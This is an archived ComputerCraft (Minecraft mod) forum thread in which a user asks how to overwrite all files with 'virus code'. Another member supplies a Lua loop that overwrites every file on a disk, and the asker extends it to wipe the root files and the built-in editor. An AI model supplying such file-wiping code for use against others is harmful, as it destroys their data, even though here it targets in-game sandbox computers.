This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
ComputerCraftFan11's profile picture

Get all files?

Started by ComputerCraftFan11, 31 March 2012 - 05:34 AM
ComputerCraftFan11 #1
Posted 31 March 2012 - 07:34 AM
How can I get all files and edit them?

Like this:


--file finder
file = fs.open(stuff,"w")
file.write("virus code")
file.close()

diskhax = fs.open("disk/" ..stuff, "w")
diskhax.write("virus code")
diskhax.close()

But I didn't set 'stuff', it's supposed to be all the file contents

(I'm trying to change it all to virus code)
Xtansia #2
Posted 31 March 2012 - 09:25 AM
You can use fs.list(),
Note this code was written in my browser so isn't tested but it should work.

files = fs.list("disk")
for n=1,#files do
    if not fs.isDir("disk/"..files[n]) then
        file = io.open("disk/"..files[n], "w")
        file:write("I found your file")
        file:close()
    end
end
ComputerCraftFan11 #3
Posted 31 March 2012 - 07:43 PM
You can use fs.list(),
Note this code was written in my browser so isn't tested but it should work.

files = fs.list("disk")
for n=1,#files do
	if not fs.isDir("disk/"..files[n]) then
		file = io.open("disk/"..files[n], "w")
		file:write("I found your file")
		file:close()
	end
end

Would this work too?


local viruscode = "I found your file";

files = fs.list("disk")
for n=1,#files do
	if not fs.isDir("disk/"..files[n]) then
		file = io.open("disk/"..files[n], "w")
		file:write(viruscode)
		file:close()
	end
end

files = fs.list("/")
for n=1,#files do
	if not fs.isDir("/"..files[n]) then
		file = io.open("/"..files[n], "w")
		file:write(viruscode)
		file:close()
	end
end

file = io.open("/edit", "w")
file:write(viruscode)
file:close()

file = io.open("/eclear", "w")
file:write(viruscode)
file:close()